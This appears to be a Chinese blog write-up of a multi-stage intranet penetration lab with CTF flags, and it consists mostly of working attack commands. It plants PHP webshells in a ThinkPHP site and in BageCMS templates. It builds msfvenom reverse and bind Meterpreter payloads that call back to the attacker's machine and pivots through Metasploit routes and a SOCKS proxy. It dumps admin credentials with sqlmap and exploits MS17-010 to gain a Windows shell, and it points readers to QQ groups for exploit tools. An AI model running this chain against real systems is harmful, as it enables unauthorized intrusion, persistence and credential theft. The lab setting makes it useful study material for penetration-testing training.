最近在研究内网写个博客来记录一下
这个东西关键在于的是msf代理设置,msf老版本的代理与新版本代理是不一样的,我的是msf6。
关键在于代理的设置,在实战上这个情况还是非常容易遇到的
欢迎各位师傅加入qq群讨论,(群主有时间会直播解答疑问)
qq群:655934283
拓扑图:
先使用nmap扫描一内网的存活Ip,我kali的ip是192.168.88.139所以使用
nmap -sn 192.168.88.0/24 结果: 192.168.88.139是本机ip1和2是网关,所以使用192.168.88.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-07 02:48 EST
Nmap scan report for 192.168.88.1
Host is up (0.00070s latency).
Nmap scan report for 192.168.88.2
Host is up (0.00050s latency).
Nmap scan report for 192.168.88.139
Host is up (0.0015s latency).
Nmap scan report for 192.168.88.150
所以访问在使用Nmap扫描192.168.88.150这个ip。
访问这个网站是ThinKPHP框架网站,有两个漏洞一个的命令执行和文件上传漏洞,直接使用漏洞利用工具
工具我放在了qq群聊里了(qq群:184324009)
使用工具写入php一句换木马
使用蚁剑去连接后门
在使用kali里面的msf生成一个反向连接的后门木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.139 LPORT=1111 -f elf >t1.elf
通过蚁剑去上传后门,然后在使用msf去监听后门
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.88.139
set LPORT 1111
exploit
蚁剑执行命令行
chmod +x t1.elf //给与执行权限
./t1.elf //执行后门
接收到会话:
接下来是最重要的一步
然后查看路由并添加
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.22.0/24
接着在msf终端输入 background 回到msf
这个 background 作用是把监听端口保存在后台运行,可以输入sessions回到监听会话模式
sessions - i 会话编号
use auxiliary/server/socks_proxy //切换模块
route //查看添加的路由
show options //查看需要设置
set VERSION 4a //选择代理方式为4a
set SRVHOST 192.168.88.139 //路由地址为本机(kali)的ip
run //执行
开启代理(这里说一下,msf5这个代理是auxiliary/server/socks4a而msf6是这个auxiliary/server/socks_proxy)
sudo vim /etc/proxychains4.conf
输入密码,然后在使用编辑,编辑完后输入 :wq! 保存
使用代理进行nmap扫描
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
-sT -Pn因为Socks协议不支持Ping扫描所以使用-sT -Pn跳过ping扫描
可以得到两个ip地址一个是CentOS本机的ip一个是Ubuntu的ip
两个都可以去试一下:结果是:192.168.22.128 这个ip
使用代理工具或者设置浏览器代理去访问192.168.22.128,这个推荐的SocksCap代理工具,这个工具可以针对某一个程序或者进程进行代理,这个程序有时候会出现问题
或者使用这个
Proxifier(全局代理工具)代理为socks4或者socks4a
我都放在了群聊里面
下载地址:下载
代理设置教程:SocksCap
配置好代理,导入需要的工具
然后打开一个浏览器去访问
打开后发现是一个八哥CMS使用 目录扫描工具(这个扫描工具更上面的一样需要使用代理软件打开才能上面)
得到了/robots.txt文件,然后去访问这个文件得到了
robots.txt for BageCMS
User-agent: *
Disallow: /admini/
Disallow: /index.php?r=admini*
然后去访问这个admin
得到后台
http://192.168.22.128/index.php?r=admini/public/login
发现没有爆破的可能
查看源码,发现提示了
那就使用sql注入工具(不知道为什么我kali里面的sqlmap在开启代理的情况下访问不了url所以我这个使用别的工具,大家可以去试一下 )
proxychains4 sqlmap -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch //kali里面的sqlmap
这里有两个注入方式:
一.使用工具进行注入
有可能会注入很慢
工具我放在群聊里面了
得到了md5加密的密码,然后解密就可以了
二.使用全局代理的sqlmap进行注入
使用Proxifier开启全局代理
这个sqlmap是我安装在本机上面的sqlmap
sqlmap.py -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch --level 4
sqlmap.py -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch --dbs --level 4
sqlmap.py -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch --level 4 -D bagecms --tables
sqlmap.py -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch --level 4 -D bagecms -T bage_admin --columns
sqlmap.py -u “http://192.168.22.128/index.php?r=vul&keyword=k” --batch --level 4 -D bagecms -T bage_admin -C username,password --dump
有可能会出现这个错误,因为代理的原因,就多是几次
接下来就是登录后台写入后门
打开后台就得到了第二个flag
点击模板,找到special,修改下面的index.php文件,在上面添加一句话木马,要添加到最上面,要不然连接不了
然后在使用,蚁剑去连接(这里出现了一个小问题)不知道我的两个代理工具开启后,使用蚁剑去连接后门连接不上,不知道是代理出来问题还是软件的问题
这里贴一段别人连接成功的样子:成功
我直接把虚拟机的网络适配器开启了,这个vm2的网卡,就是那个虚拟机的网卡,这样我就能直接访问了
因为这个ip和我kali的ip不在同一个网段,所以msf生成一个正向连接的木马
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
生成之后上传到蚁剑去连接
蚁剑上面执行命令:
chmod +x 后门文件
./后门文件
接收会话:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128 #对方的Ip地址
set LPORT 3333
exploit
接下来跟之前一样
获取网络接口:run get_local_subnets
查看路由地址:run autoroute -p
添加路由地址:run autoroute -s 192.168.33.0/24
这里在添加路由的时候会报错,但是没有关系还是可以继续使用
然后直接使用nmap扫描
proxychains4 nmap -sT -Pn 192.168.33.0/24 -p80
得到ip
192.168.33.128 //乌班图的ip
192.168.33.33 //windows7ip
这里我们使用windowsip
接下来使用nmap来扫描漏洞
使用nmap自代的脚本进行漏洞探针
proxychains4 nmap -Pn -sT 192.168.33.33 --script=vuln
使用nmap所有的自带脚本进行扫描
proxychains4 nmap -Pn -sT 192.168.33.33 --script=all
结果:
Nmap scan report for 192.168.33.33
Host is up (0.10s latency).
Not shown: 990 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
|_rdp-vuln-ms12-020: ERROR: Script execution failed (use -d to debug)
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Host script results:
|_smb-vuln-ms10-054: false
|smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
得到了CVE-2017-0143漏洞
也就是MS17-010远程溢出(CVE-2017-0143),直接使用msf里面的漏洞利用工具
在msf终端输入 background 回到msf
直接使用一下命令利用漏洞
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33 //对方ip地址
exploit
得到反弹shell
然后输入:
shell
cd C:\Users\Administrator\Desktop
type flag.txt
flag{2wAdK32Lsd}
得到flag
总结:
这个东西难就难代理的设置的以及命令的掌控,这个例子在实战上也是非常实用的
欢迎各位师傅加入qq群讨论,交流
qq群:655934283